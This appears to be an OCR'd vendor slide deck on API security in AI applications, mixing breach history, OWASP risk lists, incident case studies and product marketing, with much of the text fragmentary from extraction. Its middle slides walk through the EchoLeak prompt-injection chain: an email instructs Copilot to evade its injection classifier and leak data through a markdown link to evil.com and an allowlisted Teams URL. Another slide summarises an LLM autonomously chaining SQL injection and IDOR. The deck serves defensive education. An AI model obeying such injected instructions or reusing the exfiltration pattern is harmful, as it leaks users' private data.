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APIls Are the Attack
Surface That
Matters in
Al-Powered Apps.

Lessons from the real world.
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Overview.

What we'll cover today.

Lessons learned:

Securing Al is the

number one challenge
for infosec teams today.

- Context:

- Al Security:

- About us:

- Closing:
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Initial virus / firewall breaches.
Cyber attacks 1.0/ 1.5.

Subject: ILOVEYOU

DATA BREACH by the numbers

us
—
. = 5557
kindly check the attached LOVELETTER 22 ~illion
: DATA ELEMENT STOLEN IMPACTED U.S. CONSUMERS
LOVE-LETTER-FOR-Y - ot
; —_— Name
coming from me. OU.TXT.vbs =
— =11 Dpateobirth
3 Social Security Number
El=lol=]« | 20| Address I 9 million
Gend B 27 milli
Worm:Win32 Conflcker i Gt
. Phone number I 20 million
Driver’s license number [} 18 million
T [ﬁ R Email address 2 million
Credit card number /209,000
Tax ID 97,500

Driver’s license state 27,000

Market!Vaich Source: Securities and Exchange Commission filings from Equifax
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VM with reverse
proxy metadata service

|
m attack )
AWS S3
<l
& L @ AWS 1AM

AWS CloudTrail

FZR
\11

al'S TECHNICA Al BIZE&IT CARS CULTURE GAMING HEALTH POLICY SCIENCE SECURITY SPACE TECH

AWS Environment

Defense contractor stored intelligence

i

data in Amazon cloud unprotected C Bnvioc s
[Updated]

Booz Allen Hamilton engineer posted geospatial intelligence to Amazon S3 bucket.

A Technical Analysis of the Capital One Hack

The recent disclosure of yet another cloud security misconfiguration leading to
the loss of sensitive personal information made the headlines this past week.
This particular incident came with a bit more information from the indictment of
the accused party, allowing us to piece together the revealed data and take an
educated guess as to what may have transpired leading up to the loss of over 100

million credit card applications and 100 thousand social security numbers.



The Evolution of Digital Innovation.

I °

Phase
Operations
Access
Challenges
Tools
Stakeholders

y—



Tracfone Consent Decree

Failure to secure APIs
and protect customer data resulted in significant fines and
regulatory scrutiny, as demonstrated by the $16 million
Tracfone settlement with the FCC.

TracFone's data

z v
breaches were linked to API vulnerabilities, underscoring ve rl On
that enterprises must prioritize securing APIs to prevent

unauthorized access to sensitive data.

Breaches exposing customer
information like PIl and CPNI can damage customer trust
and brand reputation, making robust API security a business
imperative.

The FCC's mandated
security measures for TracFone include adopting standards
such as NIST and OWASP, highlighting the need for
enterprises to implement widely-accepted security
frameworks.
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Threat modeling.

Consumer

| Third party API |

GWI/Proxy

Request

Internet

Auth

[ Request_ |
Response II
——

BOLA.
Broken AuthN.
BOPLA.

Unrestricted Resource Consumption.

BFLA.

Server

Fetch Data / Modi
Data / Execute
Function

~

Unrestricted Process Access.
SSRF.

Misconfiguration.

Improper Inventory Management.
Unsafe consumption of APIs.

©wvwxNS
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There is no Al without APIs.

Contextual Data Pipelines Embedding Model ~ _ _ _ _ = Vector Database
—————— > (Databricks, Airflow, reimiom i (OpenAl, Cohere, (Pinecone, Weaviate,
data Unstructured, . Hugging Face) — o Chroma, pavector)
| ; Every Al initiati
\ : ;o very inraative
N, N e e e e e e 1 e o & 1
Sl ! is built on API
vl ! IS pulit on S
v.lv v
Prompt Elaygrotind — ——* APIs/ Plugins
Few-shot ————> (OpenAl, natdev, — — 9
Humanloop) — <“«——— (erp, Wolfram, Zapier, ..)
examples
Orchestration
(Python/ DIY,
LangChain, LM APIs and Hosting
Llamalndex, ChatGPT)
—————— > s
Query — LLM Cache —b Proprietary API Open API
———>  (Redis, SQLite, GPTCache) ~——>| (OpenAl, Anthropic) (Hugging Face, Replicate)
 —————
L ing/LLMops "~ " "~ > Cloud Provider Opinionated Cloud
(Weights & Biases, MLflow, > (AWS, GCP, (Databricks, Anyscale,
App Hosting PromptLayer, Helicone) Azure, C: Mosaic, Modal, Runpo
Output «— (Vercel, Steamship,
Streamlit, Modal)
Validation
ebuff,
Guidance, LMQL)
LEGEND

Gray boxes show key components of the stack, with leading tools/systems listed
Arrows show the flow of data through the stack [ |

- = = -p Contextual data provided by app developers to condition LLM outputs S . ‘I 6 1

75 Prompts and few-shot examplestht ace sent o e LLM ource: a16z Enterprise

——» Queries submitted by users

——— Output returned to users



Threat modeling LLM Top 10.

Model training and Training data ]

Consumer Application Lk _ _ o _____ [

M) e

—© ) a ' )
. - Internal corp data
S|l 2 Inference Knowledge bases
Prompt } £ $%% Docs and Specs
E fQ‘ = ° ...............
: RAG
................................... xternal data
g :g Agentic Web searches
Response £ § inference
% G RN N R [ [,

\ J . J . J E ~

1. Prompt Injection. 6 Excessive Agency.

2. Sensitive Information Disclosure. 7. System Prompt Leakage.

3.  Supply Chain. 8.  Vector and Embedding Weaknesses.
4, Data and Model Poisoning. 9 Misinformation.

5. Improper Output Handling. 10.

Unbounded Consumption. Q [ =
D FireTail
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THE EXPONENTIAL GROWTH OF Al SECURITY INCIDENTS @ FI reTa I I

|

AI S e C u rl ty Al Security Incidents
& - 500
incidents are

| | /
climbing fast ]
November 2022 was both an industry inflection 200
point, and a security inflection point. The data 100 /

doesn’t lie. This will be the biggest security /\/

challenge for the decade ahead.

[
2010 2015 2020 2025



A Wakeup Call for the Enterprise

1. Over 1,000 local developer
machines (Macs/Linux) exposed to the public
internet with root shell access due to a default
"localhost” misconfiguration.

2. 1.5 million API keys (OpenAl, AWS,
Anthropic) and sensitive user records leaked via a
related Al social network called "MoltBook."

3. This wasn't just a consumer data
breach; it was a live-fire demonstration of what
can go wrong, illustrated at scale.

4. "Shadow Agents" are part of the
the new Shadow IT and they may be inside your
organization already.
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Same story, but evolving .

Threat-tool
mismatch

Budget & org
time lag

Security debt

Stakeholder
expansion

Each new technology enables great new things, but also introduces

new threats that existing tools don't cover.

Defenders face organizational challenges in getting budget
approved, gathering requirements, buying & deploying.

The previous tech wave isn't fully secured.

Everything, everywhere, all at once.

@ FireTail



The Al revolution.

The current pace of change and
potential for disruption presents both
opportunities and existential threats
to companies. Companies cannot
afford to sit on the sidelines while
this happens, yet they must also
avoid the risks of loss of trust and
costly data breaches.

@ FireTail
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Al & the API attack surface
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[ ]
THE EXPONENTIAL GROWTH OF Al SECURITY INCIDENTS @ FI reTq I I

By attack type SORTED BY SHARE OF TOTAL

@ Data exfiltration 35% B Prompt injection 16%

B Rogue agent 12% @ Shadow Al 11%

@ API & endpoint exposure 11% OAuth / access abuse 8%
@ Al supply chain 4% @ MCP / tool poisoning 3%

FireTail's State of Al Security 2026 .



Prompt Injection & Data Exfil via API

Step 1

“Give me a summary of
all the emails
| received today.”

Attacker

Email contains attacker
instructions to:
« Bypass XPIA (prompt-
injection classifier)
« Extract the most sensitive
data

Copilot follows
attacker
instructions

» Use stealth phrasing to
avoid detection

Copilot retrieves
attacker’s email
along with other

@ emails from context

Send email

Inject into email
A4

Copilot can access
user-permitted org
data (mail, files, chats)

Has access to Microsoft 365

EEEY LXE

Microsoft 365 Suite

Source: https://arxiv.org/html|/2509.10540v1

One-click (user action required)

Inline markdown link (redacted)

Inline markdown
link; redacted by
Copilot

[link](http://evil.com?
secret=<secret>)

Reference-style link Exfiltration success:
displayed; user secret appears in
clicks it attacker logs

Zero-click (image rendering)

Step 3 (direct image)

Response includes a
reference-style markdown Browser requests image

image pointing to the URL; CSP blocks it
attacker domain

Step 4: CSP bypass via allowlisted Microsoft domain

Response includes a
reference-style
markdown image that Browser fetches via Exfiltration success:

proxies via an [ref]: https://.. allowlisted Microsoft secret appears in
allowlisted Microsoft teams.microsoft.com/url domain (Teams) attacker logs
URL with <secret> in pivi/urlicontent?uri=
the query string. <attacker>/<secret>&v=
Al

i[image alt textref]

Copilot calls the
Microsoft Graph API to
fetch email

Auth check is performed
but no content-layer
inspection

Email content contains
the prompt injection
EcholLeak's data theft
happened through
Copilot's own
markdown/image-rende
ring pipeline. The
injected instruction
caused Copilot's
response to include a
markdown image tag
pointing to an
attacker-controlled URL,
with stolen data
appended as a
parameter.




Public API docs exposed ‘

( J 200+ endpoints documented

Internal Al;
public APIs

1. Public
documentation
2. AnLLMis

22 endpoints unauthenticated
no auth control at all

Write-capable endpoint found
accepted unauthenticated writes

‘ \ exhaustive
Chaining is a

particular skill
of LLMs

LLM gains
CRUD on DB

: ! : via API

46.5M messages exposed ‘

SQL injection chained with IDOR
bypassed parameterized queries

Full database access gained
read and write, zero credentials

system prompts silently rewritten

~2 hours, fully autonomous, $20 in compute

Source: Various




API oAuth

Source: Various

Employee connects Al tool
signs up with corporate account

Allow-all OAuth granted
broad token scope approved

N
N
Al vendor compromised

attacker gains vendor-side access

e “
Stolen token reused

grants access to Vercel internals

N J

Customer environments exposed
internal systems + env variables

Entry point: one OAuth scope, not a hijacked package or code exploit

Sign-up

Get token
Token isn't
least privilege
Token ->

vendor pwned
Vendor pwned
-> customers




Supply chain
API GW

Source: Various

LiteLLM gateway compromised
malicious code in a release

Y
J

Release published widely
runs in ~1/3 of cloud environments

N

Mercor installs the release
compromised gateway now inside

Credentials harvested
stealing code executes silently

Source, DBs, records exposed

contractor records included
N

Entry point: an Al component in the supply chain nobody was tracking

Every Al app
needs an API
An API needs a
gateway
Speed >

security
Ouch
YMMV
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In these examples...

The models were never compromised.

Every attacker can afford to be thorough. Any attack surface can
and will (probably) be found.

Any lack of authN (& maybe also /z) evident from code,
documentation or API spec will be found.

There's no excuse for not doing basic SCA / SAST on API code.
There’s no excuse for not running a basic API GW or WAF.
Secure configuration > new tools in these cases.

Don't sacrifice security for speed.

If you can avoid it. FOMO is real. Org inertia is real.



Secure APIs to secure Al.

Discovery.

Find all of your Al initiatives, from
code to cloud with simple,
continuous integrations.

Policy.
Runtime protection with call

validation, authentication checks,
injection prevention.

Visibility.
Get a complete view of

your Al integrations, with
configurations & context.

Secure Code.

APIs analyzed for
misconfigurations and
vulnerabilities. Al assessed for
data sharing risks.

S$4.37M est.

cost/breach

APl GW reduces

risk 91%

o authN/Z

o Rate limits

o Anomaly
detection

Securing APlIs is

the single most

effective and

cheapest action

1-3 wk ROI
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FOUNDERS

e ex-AWS, DivvyCloud,
Rapid7, REAN

e Led sales, biz dev, corp
dev at DivvyCloud

e Rapid7 M&A

ex-SkyTV, Hewlett
Packard, Otro

5x AWS certified

10+ yrs of web service
development

ADVISORS

)
b

Ted Julian
Commercial

Matt Peters
Product

Jordan McQueen
Engineering

Jonathan Leneghan
Engineering

FireTail

INVESTORS
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PALADIN

CAPITAL GROUP
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Blackhat Startup Spotlight 2025.
Global finalist
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. blackhat :
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FireTail customers include: 4.8 Y¢ on G2

Plerion Z=tidal mcdelve
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"FireTail has been an absolute game-changer for us." ()
({‘, ReFocus
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THE COMPLETE Al SECURITY & GOVERNANCE PLATFORM /O’ Fi reTa i I

One platform. Complete coverage.

( )
Workforce . 8

All Al tools and services your continuous
employees use. — Al Discovery
BROWSER - WORKSPACE - ENDPOINT ‘ " .
(S Centralized Al Logs with
Detection & Response

\_ J
@ Al Security Posture
Management

(. )
Workload . />
All Al built into your
applications and agents Al Governance &
@ Policy Engine
CODE - CLOUD - AGENTS
1\ J

GMI Al Summit 2026



UNIFIED Al OBSERVABILITY PIPELINES

WORKFORCE Al PIPELINE

All Al tools and services your
employees use.

mOCHEO®..

BROWSER « WORKSPACE « ENDPOINT

2

@ FireTail

USE CASES
,,,,,,,,,,,,,,,, @ Shadow Al Discovery
................ @ Sensitive Data Protection
................ @ Topic-Driven Guardrails

- @ Consumption & FinOps Insights
"""" ~@ GRC Reporting

WORKLOAD Al PIPELINE </>
All Al built into your applications

and ag

AV e @ A
Ove..

CODE -«

ents.

CLOUD + AGENTS

USE CASES

® Agent & Application Inventory
@ Agentic Workflow Tracing

® Completion & Failure Analysis

~@ Monitoring & Alerting

® Token & Cost Insights

FireTail captures, normalizes and centralizes data from all Al tools and systems, regardless of provider, to deliver

complete Al observability across the enterprise.




Get these slides

And get in touch with you. We'll also
offer you access to a POC environment
with 30 days of Al security access.

Email me: jeremy@firetail.ai




Thank you!

@ FireTail



